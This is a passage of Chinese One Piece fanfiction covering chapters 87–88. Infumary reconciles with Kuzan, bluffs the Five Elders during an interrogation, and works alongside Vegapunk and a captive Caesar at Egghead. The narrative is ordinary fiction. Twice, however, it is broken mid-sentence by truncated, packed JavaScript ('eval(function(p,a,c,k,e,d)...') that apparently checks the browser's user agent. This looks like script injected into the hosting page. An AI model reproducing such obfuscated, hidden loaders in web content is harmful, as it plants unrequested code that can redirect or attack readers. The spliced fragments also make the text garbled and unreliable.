重新将它放入贴身的口袋,库赞戴上眼罩后继续拖延工作。喝了咖啡就很难睡着,没关系,在元帅办公室见了茵弗,听他的声音和话语之后他也不怎么想睡觉,做太多梦了。 咚咚咚、 同样很久不见的金色大脑袋探进来,行礼后关上门,打了个响指, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他帮他怀揣巴苔里拉的秘密,他帮他守护奥哈拉的1%。他护住他的火,他呢?寒冰席卷,熄灭了熊熊燃烧的玛丽乔亚。 “我看见他就忍不住想起来我杀掉的一个玛丽乔亚的奴隶,破烂外袍下露出来破烂的,归属为''宠物''的衣服。” 他把茵弗玛利杀了,不敢去见奇迹游医。 然后他说谢谢他。 罗西南迪深红色的眼眸混沌,半遮在刘海下。“...你没有杀死他,如果你那时没把他逼下去,那他才大概真的会死在圣地。” 如果他对上的不是库赞,如果他没有在那个时间跳下去因此错过泰佐洛,那么可能不止他会死,很多事情都会消亡。 他又戳了一下库赞的领带:“你们仍然是朋友,所以去见见他吧,如果感到抱歉就去道歉。” 库赞叹气,起身拿过外套:“啊啊,毕竟''他很宽容''。” 罗西南迪在回新世界前都不用上班,库赞翘班,两个人兜兜转转回到住宅区战国的家,手里提着哄人的零食点心。 不过茵弗还在睡觉,抱着罗西南迪走之前为了代替自己而塞到他怀里的大枕头。 中校把大将推到房间里,关上门好给他们一点说话的空间。 库赞挠挠头,不知道是不是应该把睡着的人叫起来。感觉那样他会更生气...起床气什么的。 站了一会儿,还是挪过去蹲在床边伸出手,一枚大大的雪花凝聚,飘打在深色的鼻尖上。 怕冷的人果然打了个哆嗦,又搂搂怀里的枕头后觉得不对劲,皱着眉睁开眼。 “罗西...嗯?” “啊,那个...我是笨蛋。” 茵弗反应了一会儿,慢悠悠地坐起来,然后一拳打到他头上。 “讨厌您!” “啊啊,原谅我吧?” 库赞揉揉脑袋,听他的语气就知道自己已经被原谅、不、是没有被责怪过了。 “不要!” “我贿赂你?” “好耶~” 茵弗嘟嘟囔囔地往嘴里塞熔岩吐司块,总算是大概听明白库赞到底为什么躲着他了,就是见到他就ptsd。 歪过身子喝几口罗西南迪递过来的清爽果汁,黏糊糊的手一拍:“好,我去您家住几天吧!” “为什么?” “您只要知道我还活着,还是很喜欢您就会感觉好些了,听医生的准没错。” 跟卡普说一声就行,感谢地贴贴罗西南迪之后,茵弗当晚就入住了库赞家。简约风,不算乱,除了卧室也没怎么有生活痕迹的感觉。 “你下午睡觉怎么现在还这么困啊。” “下午睡觉跟我晚上睡觉有什么关系...” 熄了灯的卧室里,库赞躺在床上听身边人平稳的呼吸。虽然不知道为什么茵弗玛利要用一堆被子把身边的空隙都垫起来,不过他随意吧。 贴在自己身上的皮肤是有温度的,干燥,没有血。砰砰砰的声音不是兵刃相接,直到破碎,是鲜活的心跳。 等对方睡着,他侧过身,将比自己矮小的人揽入怀里。 呼吸打在他的身上,透过背心变得温烫——一簇小小的引火苗。 很凉,茵弗玛利把脚贴到了他腿上。 他做了噩梦,但是被唤醒,被他刺穿的人身上没有火与灰烬,身边没有奴隶们痛苦的呻吟。冷汗被蹭掉,脸上被吻了一下。 他大概只需要原谅自己。 虽然出了些汗,可是茵弗玛利还是贴到他怀里睡觉,这一次库赞没做梦。 他感觉好些了。 87.谈判五老星 【拒绝七武海的新人''D'',调查后确认是伊甸管理者''露玖'',全名波特卡斯·D·露玖的儿子。二人来自于巴苔里拉,因茵弗玛利购买的奴隶,同为伊甸管理者之一''史黛拉''称之为失散多年的亲人而被他带走。 未冠以父姓是因为父亲为未知水手,短暂激情后便没有交集。】 战国看着手里的报告,虽然已经查清火拳艾斯的''D''之名来自于哪里,但是还是让人不由自主地想到当时的事件——罗杰被举报在巴苔里拉有不符合海贼的父亲举动,而奇迹游医排查了海贼王没有血脉留存。 卡普...引荐的奇迹游医。奇迹游医是在行刑后出于对其的好奇才申请见罗杰的尸体一面,这个当时其他看守的海兵也能作证,当时茵弗玛利十六岁,行为大概会比现在更不定也是正常的。也是卡普担保茵弗玛利在牢房中只是检查了尸体,带走了一点样本想检测海贼王与常人是否有不同——没有异常举动。 行为不定。 他偷渡库赞军舰,结识卡普...当时在讨论巴苔里拉的事件时,卡普带茶回来,当时奇迹游医什么船都跟,在罗格镇之后跟着卡普的军舰一段路倒也说得过去。 他对着坐在自己办公室沙发上喝茶吃零食的老友开口:“巴苔里拉事情结束之后是你送茵弗玛利去东海的吧,为什么他们不自己走?” “那小子稀罕小孩,你不是也知道,他觉得军舰稳妥点,他自己之前那旅行习惯烂透了。给空老头带茶,当时你不是也分到?他让老夫打广告他好卖海军的钱。” 战国点点头。他也不想怀疑茵弗玛利,抛开立场和政治问题,确实如鹤所说,那是个好孩子。如果想判断火拳艾斯的父亲''未知水手''是否真的是海贼王罗杰的话,大概只能重新调查他的DNA报告,拿到他的头发什么的... 茵弗玛利有理由撒谎吗? 卡普看着战国沉思,半晌询问一句怎么。 战国摇摇头:“有点好奇那个孩子。” 海军英雄不吱声了。那个孩子?茵弗玛利还是艾斯?他无声叹了口气,所以艾斯为什么要做海贼呢?不当海军,就不能当个什么赏金猎人吗? 大概还是瞒过去了。 没来得及松一口气,门就被敲了两下后很不礼貌地推开,走进一群白西装——CP0。 “我们受政五老星命令,前来带走奇迹游医。” 战国:“为何?” 茵弗倒是很快明白了为什么,艾斯的档案没出问题,出问题的是他。战国面色复杂地带他走,身后跟着路奇和卡库和一些别的白衣人。 茵弗悄悄戳戳他们,两个人面无表情,目不斜视,不过他感觉到卡库在给他戴上手铐时捏了捏他的手。 如果茵弗玛利撒谎了,是有理由的,战国意识到——虽然不知道卡普知不知道。 政府查出来他在海贼王的船上呆过。 他嘴里有些苦涩,站在会议室的斜后方,看着面前的年轻人挺直脊背站在五老星面前。 “亨姆岛、磁鼓岛学医,之后你消失了几年。有岛民说你跟船走了,情报上一直都是你游历学医,曾经暂住地被海贼王入侵毁灭等等,直到正式开始行医才成名——也就是罗杰海贼团解散的那一年...” 额前有一块胎记的老者开口。 “罗杰曾与海军交易,他的船员不会再被追捕,但你是他的船员吗。” 茵弗笑眯眯地回复:“我不是。” 窝藏妮可·罗宾、培养身边的孩子成长为海贼、让前海贼王船员定居奥比塔拉... 茵弗数着,没有听到他最担心的几点后悄悄松一口气。自己在罗杰船上呆过总会被查出来的,毕竟他当时又不是完全不在人前出现。五老星跟他絮叨这么多,没直接丢到大监狱,还是想得到什么。 “我们叛你居心不良,你也无话可说。” 茵弗歪歪脑袋:“我身边的人都是自由的,先生,他们会做什么,成为什么,是他们自己的事情。” 他耸肩:“您们判定我有罪,然后呢?您们要毁了奥比塔拉吗?用什么理由?” 【医生】的话语权早都被他拿到手了,奥哈拉的学者''企图毁灭世界'',所以他们是''正义''的。如果他们因为这些理由屠了奥比塔拉,只会引起更大的反弹。奥比塔拉虽然是总部,但是无论是四海、乐园、还是新世界,他都有分部,都有产业,都有名下的合作医院。这一次他们没法控制''正义''的话语权。 他们想用跟海贼王有牵扯这一点逼他站队行不通的。 “【茵弗玛利】早就渗透到整片海了,您们要全毁了?因为【游医】跟着一艘海贼船游历学医过一段时间?” 大概他们让战国在这里也有因为现在海军和伊甸密不可分的联系,想挑拨离间吧。不知道效果如何,毕竟他坚信政府来着。 “您们不能随意动我,先生们,我想您们也是知道这一点才叫我来。” 的确如此,在他们还在不断审视评估时,他已经成长得太大了。再次在世界会议上提到有关奇迹游医的话题时,以阿拉巴斯坦、樱花王国、德雷斯罗萨等等为首的大量国家都对其表现出以前没有的极大热切。隐患可能性太多,利益潜力太大,这就是对他们来说他的中立。 茵弗目光扫过他们,在略过路奇微微勾起的嘴角时暗笑。 “接下来的话题我想元帅先生不能听了。” 战国被请出门外。 如果将【茵弗玛利】作为一颗大头针钉在白板中央,究竟能牵上多少条线? 四皇、七武海、加盟国、非加盟国、海军、一半的地下势力,包括走到地上的黄金帝、革命军,世界政府和天龙人的暗线当然不会明晃晃地牵起。 他交了很多朋友——密密麻麻如蛛网。 和多弗朗明哥说的那句话是个正确无比的真理——“是个人就需要医生。” 他需要很多黑料吗?奥哈拉、弗雷凡斯、神之谷、多弗朗明哥所说的【玛丽乔亚的秘宝】、倒卖孩子,他们的地下交易... 其实他们这些年最想掩埋的只有一条而已。 “既然您们知道了我在罗杰海贼团呆过,解散的那一年下船,那么拉夫德鲁的秘密我是知道还是不知道呢?” 罗杰和他们交易什么他不知道,也许是不能把看到什么说出去这类的,不过他们也说了,他不是船员,所以约束在双方身上都不成立。 “但这么多年的''相安无事''已经是我的态度,不过如果您们要对我的东西下手,您们猜我有没有后手?” 只要推动多米诺骨牌,便会大厦倾倒,海啸颠覆。情报是准确的,别动“他的东西”,偏心的茵弗玛利就是中立的。 谈判就是这样,摊开一半的牌,一些自信的态度,一些唬人的鬼话——对于高高在上的,自己会脑补很多的老头子来说很好用。 茵弗玛利多了个名头,加入海军特殊科学班为政府工作,不过就是个挂名,建一个什么医疗班出来,给世界看一个态度。''相安无事''继续下去,用钱,还有别妨碍他继续做医生,【茵弗玛利】很好安抚。 世界政府拉拢不到他,除不掉他,所以“合作”。 在门关上后五老星们是如何争执,如何说早就应该捏死他,如何谋划着在他身上挖更多的利益这类的茵弗并不知道,被送回马林福德的时候,他同战国和鹤见了面。 面色复杂的元帅一言不发,他率先开口:“如果他们要您对我发动屠魔令,会发生什么?” 世人会如何看待这件事,即使他被“定罪”? 那些受过伊甸恩惠的海军们会如何?那些已经在伊甸工作的海军会如何?昔日同僚要自相残杀吗,都是海军,一方带去毁灭,一方去守护?与他相谈甚欢的中将们要开着军舰,将炮筒对准他。如果出动大将,估计萨卡斯基比较合适,可就别折腾库赞了。 战国避开了这个问题,谈起火拳艾斯可能存在的...身份,茵弗摆摆手,搓了一下戴手铐太久的手腕。 “那孩子就是个孩子,您想让我说什么?” “你培养他是为了让他成为下一代海贼王吗?” “我们花了十七年让他不在乎''海贼王'',您觉得呢?”茵弗眯了眯眼睛,双手撑在战国的办公桌上微微前倾,他的确养出来一窝子海贼,那又如何?“我有拉夫德鲁的坐标,先生,一直都有,我没有给任何人,别逼我给出去。” 别逼他走向''恶''的一方,无论他们眼里的''恶''是什么——就让大海为大海吧。 他们今天敢因为这个对艾斯下手,明天他就敢把四份路标给摩尔冈斯发得满世界都是。 不论是鹤还是战国都是聪明人,他们明白他的意思。 “我也不是唯一一个骗了您们的人,不是吗?” 茵弗最终还是给他们看了路奇他们找来的文件。有关露娜莉亚族和实验室的太机密,他俩现阶段接触不到,不过倒卖儿童的和泽法的非常好找。 “''不杀''的正义,不被上面看好,这是泽法先生曾经对我无意吐露的。” 所以元帅换届,不可以是呼声更高的泽法,除非他能''杀''。只不过世界政府安排了一场仇恨大戏,也没能让柳枝折断。那伙海贼不知名,事情不明不白,一颗石子,用完就丢到海里,没有激起水花。 “君临天下的正义”更符合世界政府的口味。 “那些海军将领知道他们是被拐卖的吗?您们知道吗?” 茵弗看着这位坚信政府之人每读一行字就喝一口滚烫的热茶,脸色通红。鹤在一旁放下手中的文件,叹了口气。 “泽法知道了吗。” “...您们也是他的朋友,是我敬爱的长辈,是否告知,如何告知,选择权给您们。” 鹤突然对他伸出手,温柔地拉过,上下轻轻摇了一下:“你是个好孩子,茵弗玛利。” 这片海没有安全的地方,但他努力构建的伊甸园从来都对他们伸手,包括泽法。 海军会抓海贼,但海贼王的儿子——既然报告“没问题”,那么这件事在他们默契的忽略中翻篇。 憋了十几年的气吐了出来,他可以大口地呼吸。所以他笑笑,没有回话。 战国将手中的两份文件收好,对着他点点头。 “也谢谢...你对罗西南迪的照顾。” “他是个好海军,先生,您们都是。” 被夸了好海军的小米果怀里坐着回来就在他脸上一顿乱啃的医生,面前放着戴着张扬墨镜的电话虫。 “呋呋呋呋干的不错,医生。” “是啊,您的最爱的不就是看他们吃瘪。” “他们还让你''交易''什么?” “啊,还有您那边的交易,尤其是和之国的海楼石...总之做生意的事情您们去谈,跟我一个医生有什么关系。” 多弗朗明哥笑得更畅快了,要钱,再要权力,当年弗雷凡斯对着上面呲牙的小兽已经变成咬住巨人脚踝的巨蛇——茵弗玛利不会让他失望。那群老头可能以为茵弗玛利没有【地位】,就可以压制,但真正的权力是只要他是【茵弗玛利】,就会有无数的东西主动向他奔涌而来。 “以后会有很多人暗杀你吧呋呋呋?” “比之前还多吗?” 麻烦。他撇撇嘴,对着电话虫吐舌。 “什么时候来玩?” “把渡鸦先生给您送回去的时候。” 挂断电话虫,茵弗拉过旁边的大手仔细欣赏,了却一大桩心事后心情不错。罗西南迪手臂上也不少伤疤,肤色白,看起来很显眼。 他哼着歌,用手一点点的描摹。有一些缝得不漂亮,下次吐槽一下堂吉诃德家族的医生。 罗西南迪被他弄得痒痒,转了转胳膊后问他医疗班的事情。 “黄猿大将会安排,他有点有趣。” “为什么这么说?” “您记得那盘棋吗?” 波鲁萨利诺是在罗西南迪之前说“三个皇后怎么下棋”的人。 很含糊,可以理解为他不明白,也可以理解为他无比明白。 他们寥寥见过几次,他都是这种模糊感。一次茵弗可能觉得是意外,两次三次四次呢? “模棱两可的正义...嗯...我在试着理解它。” 他话音一转,询问身后的人想不想涂指甲油,“感觉配上您的妆会更漂亮呢。”罗西南迪挠挠脸,小声坦白他其实有涂过,确实配上他的妆很合适。 他拉过深色的手,和他白皙的肤色对比就像牛奶和可可,“你想涂吗?”茵弗的话,金色、麦色或者咖啡色这类的?被他拉着的人却摇摇头,“医生不适合。” “但是你喜欢?” “我想给别人涂,之前乌塔和砂糖小姐经常互相涂,好可爱的。” 罗西南迪笑笑,感觉出来他是真的心情不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“但是我们不是要去庞克哈萨德和黄猿大将汇合吗?这次出行是去给政府建医疗研究班的。不能随便就跑去白胡子那里吧。” “这件事比较重要吧!”茵弗挥挥报纸,再次仔细阅读,也许只是标题太夸张了呢?内容也只是说收入麾下,模模糊糊的干什么啊? 他跑到工作室,在一柜子的电话虫里拿出联系萨奇的,噗噜噗噜地播了过去。 “老师—” “艾斯呢?!” 白胡子海贼团新任二番队长正脸埋在意面里睡觉,就被熟悉的声音唤醒。 “艾斯!!!!” 餐厅里的船员们都互相交流谈论着,那个天不怕地不怕的艾斯二队长居然一脸牙痛地在和别人打电话虫。隔着一道厨房门听不见,不过不少人都努力贴着,趴在圆窗上向里看。 等他推门出来前又四散开,装作无事发生地竖着耳朵听队长那桌的谈话。 “怎么样,艾斯,小医生说什么?” 雀斑青年接过以藏递来的酒叹一口气,嘟嘟囔囔就是那么说呗。解释清楚自己不是就换了个父亲就好了,有时间他会亲自过来看他什么的。 他有父亲,有母亲,有很大很好的家庭,所以白胡子老爹邀请他做他的儿子他一开始也是拒绝了。不过黑桃海贼团在这里呆了一阵子大家都感觉蛮好的,大伙还主动帮忙训练,他也确实喜欢这里。 所以白胡子老爹说,''萨奇也是他的家人他们本来就是一家人了你看你都叫我老爹虽然是小时候随便跟着叫的但是我正好缺个二队长他之前也不是我的儿子你这小鬼不能当老子的兄弟但是也可以算是子侄辈的晚辈...'' ...总之他就加入了嘛! 二番队是机动部队所以除了偶尔给白胡子出个任务他基本还是可以决定自己的冒险的。 “而且纹身不是很帅吗?” “老爹的纹身当然帅啊yoi。” “不过我纹了这么一大片他大概不会介意...吧?罗也纹身了诶,什么死亡和心脏什么的...” 艾斯挠挠脸,重新卷起意面。嗜睡症的控制药最近没有好好吃,小姨来之前要吃起来了,要不然被发现他肯定会被念叨的。 茵弗挂掉给露玖念叨完的电话虫,揉揉鼻梁。虽然艾斯就这么被白胡子的话术给“骗走了”但是他没有丢掉罗杰就好,露玖也不介意,毕竟艾斯没有就随便给人家做儿子,也没有放弃自己的冒险,只是晚辈而已。 回藏书室给罗西南迪说一声,他沉思了一会儿,又再次取来电话虫打过去,和白胡子单独聊了聊。 如他所想,除了很喜欢艾斯,也有想保护他的意味在。他知道他是罗杰的儿子,有白胡子的名号还能护着他点。 “咕啦啦啦啦他就尽情的闹吧,有我白胡子,你们都不用担心。” 既然有这份心意在,茵弗便好好感谢一番。 一如既往,磅礴的灵魂。 “等政府的事情结束去拜访吧,这次我不要送恶魔果实了...” 本来以为会很快,毕竟自己就挂个名而已。没想到还没到地方,就接到联络——庞克哈萨德出事了。 凯撒·库朗不顾贝加庞克的否定,一直研究大规模杀伤性的生化武器,在被贝加庞克忍无可忍地上报逮捕后引发□□,大量毒气在岛屿上释放,杀死了所有的动植物。 “所有人都死了?” “贝加庞克和大部分科研人员都安全,很可怕耶~现在岛上弥漫着毒气。” 但是边缘考察来看,大概是都死了,基本没逃出来的都是被关押打工的囚犯。 “我不要模糊的''大概'',先生,我是个医生。” 政府就准备把这个岛这么晾着?人就算了,万一有毒物质在自然循环里危害到周边怎么办。这可是新世界啊,比前半段气候还混乱。 “凯撒·库朗先生不是毒气的制造者吗?他应该有办法中和吧。直接丢监狱也太便宜他了。” 而且研究所也没全都毁了的话,就不要了?不都是机密研究吗。就算要放弃这个研究基地,至少也要关心一下吧。 “...您和上边商量,看看能不能让凯撒·库朗''戴罪立功'',把岛清干净了,除了看看还有没有幸存者之外,既然科学班打算转移,医疗班就建在这里好了。” 反正政府要的“医疗班”跟科学班也差不多。 “诶,这么麻烦的事情小医生你也会做啊。” 他就说黄猿很敏锐吧? “我就是贪图便宜地产的老毛病,大将先生。见不得浪费,您用这个理由跟上面说也行。” 黄猿没回答,传来的是一个陌生的声音。 “我是Dr.贝加庞克。” 88.我要退休 “我要退休!!!!” 艾格赫德的新基地里,传来了大家耳熟能详的咆哮。今天的奇迹游医,医疗圣人,伊甸园的创立者,也很努力地在表示自己的愤怒。 说好了医疗班就是挂个名的啊,怎么那多么事情要他做?做也就算了,还要跟世界第一天才一起做事情。很焦虑的啊懂不懂啊?让他一个脑子坏了的人天天转脑筋这种折磨懂不懂啊? “治不好!不治了!叫人来直接换腿!!!” 被关在一个大泡泡牢房里,戴着海楼石手铐的凯撒瑟瑟发抖。就是这个人毁了他的计划...贝加庞克那个混蛋老头居然和他配合,真的救出来一些没死的囚犯,还在他表明要试着治疗那些被毒气影响的垃圾时表示肯定...该值得肯定的不应该是制造出这么厉害的毒气的本大爷吗? 啊看过来了好可怕... “您想出来中和毒气的配方没有啊...” 他的“死亡国度”武器怎么可能会有解药...啊又是那个笑——“在想了!在想了!我在工作呢!”凯撒一个180°转身,泪流满面地面向牢房里的工作台。 恶魔!!打人痛死了!居然敢打本天才! “呜呜呜呜我们完了吗?” “闭嘴!!我在想办法了!您们自己不知道听起来是什么鬼样子吗?哦您们不知道!关我什么事啊!!” 茵弗对着另一侧牢房里的那些瘫痪的囚犯大喊,手里却重重地一拳捶上凯撒的泡泡,咚地巨响震得里面那个贪生怕死的混蛋一抖。 艾格赫德的新研究所还在建,工作区域有限,贝加庞克那个一秒钟脑子里有一百个想法的人当然占据大部分。他的工作室就放在监管凯撒和“患者”们的同一区域。 烦躁。 想走了。 不想在这里。 都怪那个想要为全世界做贡献的老头,龙居然跟他提过自己,虽然只是一两句话,当时还是龙要建自勇军的时候,不过贝加庞克的脑子就是什么都能记住,无限量数据库。只是这种拉他来干活的好印象就算了吧。 茵弗烦躁地把废了的实验残渣清理干净,准备提前下班。这些人他勉强能治,神经药物,针灸刺激,物理因子治疗...但是不能完全治愈。毕竟他们瘫痪的肢体跟废了没什么两样,来不及了。 而且他们是囚犯,他治好他们,谁知道又会被拿去做什么实验。 罪有应得他不介意,人渣拉去关监狱,吊死,砍头,丢到海里他都无所谓。试药或者参与实验,来换取减刑也正常,不过直接把他们当小白鼠折磨到死他受不太了。 因为他们是“罪人”。杀人放火的海贼也是罪人,试图阻止亲人被带走当奴隶的人更是罪人。而且这让他想起来在玛丽乔亚实验室看到的东西,感觉并不好。 茵弗又狠狠敲了一下凯撒的泡泡,有些暴躁地收拾自己的东西后离开。把今天的研究报告给贝加庞克,联系罗?不过不想干预那孩子的游历啊... 哐地一声推开主厅的大门,看到叫战桃丸的人和黄猿在聊什么,罗西南迪乖巧地坐在一旁,另一侧吐着舌头的老头子忙碌地转来转去。 “好可怕哟~今天医生心情也很不好捏。” 没理这个说话强调奇怪的家伙,他走到贝加庞克旁边,把研究报告随便放在桌子上。 “辅助机械假肢调研。” “哦哦我看看结果如何。” 贝加庞克嘟囔着他听不懂的东西,苦恼地挠头。茵弗走到坐着的一群人旁边,接过罗西南迪递过来的茶。 “等庞克哈萨德毒气清理好了就让他们帮忙恢复岛屿生态,比起什么实验的那个更主要一点。” 反正黄猿能明白他的意思。罗西南迪安抚地摩挲着他的脊背,他知道人体实验是他讨厌的东西。 “医疗班的事情您心里有数,反正需要我做的就是等差不多的时候派一小组有意向的医疗研究人员来就行。” 这段时期的相处也让他和黄猿熟悉了不少,他不“工作”的时候,还鲜活一点,和战桃丸玩得挺好的样子。一扯到“工作”相关的事情他就模模糊糊,模棱两可,只做足够的事情,不推不动。 “你快要走了吗?” “嗯,能治多少算多少,剩下的就辅助肢吧,我还有事情,总耗在这里算什么?” 茵弗递给问他话的青年几块糖。战桃丸比他小一些,一个心思真挚的家伙,他对他还是有耐点心的。 贝加庞克也小孩子脾气,或者说是天才脾气,把一堆乱糟糟的研究报告一掀,和他一样大喊大叫忙死了。 他是一位完美主义者,对他来说就算研究成果有丝毫偏差就算失败。所以他不招助手,觉得那些人帮不上忙,又出了凯撒这样的事情。他已经在准备把自己切成六份了,一人负责一个部分,协助他的工作。 不愧是世界第一大脑,真能想。 贝加庞克再一次说到分身的事情时,茵弗打断了他,坐在罗西南迪身上很没礼貌地翘腿吃零食。 “切出来之后,他们还是您,但是又不是您。''部分''与''整体''如何区别与定义?” “哦哦这是个好问题!” 六个分身会是独立的个体,有自己的思想和欲望,但是因为''切出去''会有''倾向性''。他们会协助贝加班克的工作,根据自己的倾向性做相关的事。六个分身共享一个大脑,每天的经历和知识都会同步一次。 “减少浪费在吃喝,烦躁苦恼的时间,随时记录灵感...” 正直、邪恶、思想、智慧、狂暴、欲望。 “您的邪恶,会做什么?” “啊老朽其实很想去抢劫研究经费啊...” “狂暴呢?” “啊忙不过来很烦的时候去砸砸东西发泄吧...” 茵弗笑笑:“欲望呢?” 贝加庞克:“吃饭喝水睡觉,人一生的睡觉时间约占寿命的三分之一,实在是浪费...” “您的需求层次不可能只有生理需求吧?” 吐着舌头的男人愣了一下,迅速跟上他的思路。“啊确实如此,看来除了吃喝也要给''欲望''准备些其他的东西。” 茵弗嘎嘣嘎嘣地咬着零食,有点嘟囔地掰着沾着碎屑的手指。 “生理需求、安全需求、社交需求、尊重需求、自我实现。” 贝加庞克一个完美主义者,一个理想是用科技帮助世界和平的家伙,他的需求与欲望怎么可能只有那么些就能满足?而且这些分身是获得了“倾向性”的独立个体,这个个体本身在满足第一层需求后也会衍生出高层次的渴求。 “您的''欲望''将如何满足自我实现?” “非常好的思路!茵弗玛利小友!看来有关这一点老朽要多加关注...” 世界第一发明家又急匆匆地嘟囔着去忙了,茵弗的手被一只大手拉过,罗西南迪用纸巾给他擦吃了油炒豆子的手。 “别舔啊,茵弗...舔完了又要往身上蹭...” “真可怕诶~小医生的欲望是什么呢?” 茵弗盯着罗西南迪给他擦手的纸巾绕过手指,在要不要告诉他其实他还打算继续吃这件事上犹豫,头也不抬地回答: “我要去赶海,然后退休。” 黄猿也摸了一把豆子吃:“诶~真好~呀。” “老叔和博士说奥比塔拉很漂亮呢。” “啊,有空来玩吧。” 感谢地拍拍罗西南迪,茵弗还是没有继续吃豆子,和战桃丸聊起了赶海的事情。他从小就跟在贝加庞克和黄猿身边,其实接触到玩的东西不算多。茵弗到新的岛屿还是喜欢探索一番自然环境,也就经常带上他们,虽然战桃丸总是严肃地说自己是什么什么样的男人,但是还是愿意跟着。 “直接下海捞或者买不是快很多?” “这是乐趣,战桃丸先生,即使最后只能收获一桶海货,但是自己去发掘一点点挖的感觉很好,和朋友一起的话更好。” “最后带回来的东西呢?” “吃掉啊,反正都是贝啊螺啊蟹子之类的。” 已经被挑起兴趣的战桃丸露出一点好奇的神色。于是在黄猿时机恰好的提议下,众人晚上便去了海滩,难得贝加庞克也跟着了。虽然这位天才是在茵弗的拜托下计算近日潮汐的时候,突发奇想准备研究潮汐转化成能源的策略。 “老叔!太亮了看不见了!” “啊,可是我能看见哟~” 黄猿慢悠悠地挖出一个有他手掌一半大的蛏子,炫耀地晃了晃。 没管他们的乐趣,茵弗和贝加庞克在一旁,套着隔音壁讲小话。比如龙、奥哈拉、这类不能放在明面上说的东西。 “所以您在研究咯?” “正是,我的脑子里已经记录了文献。” “小心点啊。” 在政府眼皮子底下研究空白一百年,即使他是为他们工作的世界第一天才,那群人也会杀了他的。艾格赫德会变成第二个奥哈拉。 “你之前探索岛屿找到的钢铁巨人,就是古代遗留下的,只是不知它的能源是什么。” “''古代''真的很奇怪啊,我之前就觉得什么毁灭世界的古代兵器,''古代''有那么厉害的东西?还有未知能源,明明很重要的话,不应该被传承下来吗?” 贝加庞克认可地点头,跟他分享了几百年的“古代”其实在他看来才是“未来”这件事。他的研究还没有全部完成,也正在拼凑,毕竟要研究的东西太多,但是他想要复现古文明的科技。 “等分身造出来就会好多了,老朽也能专注更想做的事情。” “诶—那这座岛会大变样吧,期待了。” 茵弗没问太多,他们也不能一直就凑在一起。给罗西南迪打了个手势撤掉能力,他慢吞吞地提着自己的桶回到战桃丸他们身边。 “看,找到会发光的螃蟹。” “哦我也抓到一只呢!” 黄猿在此时提高了身上的亮度,让举着螃蟹的两个人完全比不出来谁的螃蟹亮度高,毕竟看不见了。 茵弗撇撇嘴,把螃蟹丢他身上,走向把自己摔在沙滩上的罗西南迪。 - 世界政府又发了一篇奇迹游医主动为“政府人员”“带去奇迹”的报纸后,他终于离开了艾格赫德。那群囚犯正常的行动没什么问题了,虽然留下的后遗症要他们依靠辅助器。不过他们很满足,贝加庞克也对他造出来的机器效果满意,同意了茵弗以后在他的医院里使用。所以他给这个家伙留一下了一笔研究经费。自然不算多,但是就像哈尔达所说,他需要每一分贝利。 “零花钱不给点吗?” “呋呋呋呋呋要多少?” 德雷斯罗萨最大的庄园宅邸里,给德雷斯罗萨带来繁盛的堂吉诃德家族家的少主正在被人涂指甲油。回到他身边的弟弟也在一旁,晾着自己暗红色的指甲。 “要我定数字多不好意思啊,朋友之间谈钱?”茵弗的手很稳,毕竟是医生,正在给多弗朗明哥的指甲上画他的笑脸标志。他的技艺可是突飞猛进,库赞看了都说好,大概吧。 “革命的巨蛇刚给弗雷凡斯下了一笔订单。” “够我玩就行,去王宫做客的时候奥维莱特殿下邀请我去参加过几天的庆典。” 激情浪漫的国度自然有很多节日,这次的庆典是小人族们也参与的,“妖精们”会让它很有趣。鲜花,舞蹈,爱,被小人族们的恶作剧一起捉弄的,一起开怀大笑的居民。 他们要庆祝玫瑰,庆祝阳光,庆祝彩色的羽毛,生命与财富。 “呋呋呋你不和我和罗西一起去吗?” “去啊,庆典不是好几天呢吗。” 茵弗下意识地对自己完成的作品吹了一口气,忘记才刚刚画好,笑脸被吹歪了一点。 “啊。” “呋呋呋没关系。” 罗西南迪看着自己的指甲,又化上彩妆,戴上心形坠的帽子之后还是很搭的,穿海军制服的时候就有点奇怪,所以他们当时只对着库赞下手来着。 “下午你要游泳吗,茵弗?今天阳光很好,多弗的泳池才换了水。” “行啊。” 两个恶魔果实能力者,家族里一群恶魔果实能力者,茵弗其实不太懂为什么要弄一个又大又深的泳池。也许是为了多弗朗明哥跷着脚在沙滩椅和遮阳伞下喝酒的时候,那些被他招来一起玩的美女小姐们可以穿着各种带着花边的泳衣在水里嬉戏吧。毕竟罗西南迪说庄园里的女仆类工作者们也难得可以工作日也玩一下。 多弗朗明哥的确跷着脚靠在沙滩椅上,桌上放着红酒和水果,身边有几个穿着艳丽泳衣的女性叽叽喳喳地聊天。 茵弗玛利从他身边掠过,头上举着一个大号的充气圈,路过他时和坐在他椅子上的小姐们礼貌问好,被喂了一块蜜瓜后跑向蔚蓝的泳池。他在等,等茵弗玛利一定会做的一件事。 深色皮肤的人穿着长袖泳衣,将充气圈丢到水里后推了一把。然后在坐在泳池边的罗西南迪“小心点哦”的话语里揉了一把软乎乎的金发,转向他——不,只是背对泳池。 没有深呼吸,只是微微吸气后仰倒,溅起一大片水花地沉入水下。 罗西总是很担心,因为他不会很快浮上来,也不是在潜水,就只是沉没。就像海贼跳下跳板,只不过是他自己选择的。 吃了恶魔果实变成旱鸭子偶尔也让他觉得麻烦,比如每次茵弗玛利这样做的时候,他都很好奇他在水下都在干嘛,在想什么,有什么表情。 罗西南迪的位置能看见他,所以他才坐在这里等水面下模糊的身影上浮。只是他也看不太清他的表情,不知道他在想什么。 茵弗玛利闭着眼,在接触到泳池底部后微微睁开,看见扭曲的蓝。 水的声音很好听,就像一双手捂住他的耳朵,保护地隔开一切尖锐。 逐渐憋闷的肺腔提醒他人类的极限,心脏也跳动得更加猛烈,生的本能在脑子里敲响警钟。 他又呆了一会儿。 看到静止的人动了,几串气泡跟着他一起浮上来,总算是放下心。罗西南迪伸手把咳嗽着喘息的人拉过来,有点无奈地把手边的毛巾搭在他脑袋上。 缓过来的人用毛巾擦了把脸,蹭蹭眼睛,把黏在他脸上的刘海向后一捋后对他露出微笑。然后要走了他的玩具们——一些浴缸鸭子什么的,还有水枪,灵活游向飘远了的充气圈。 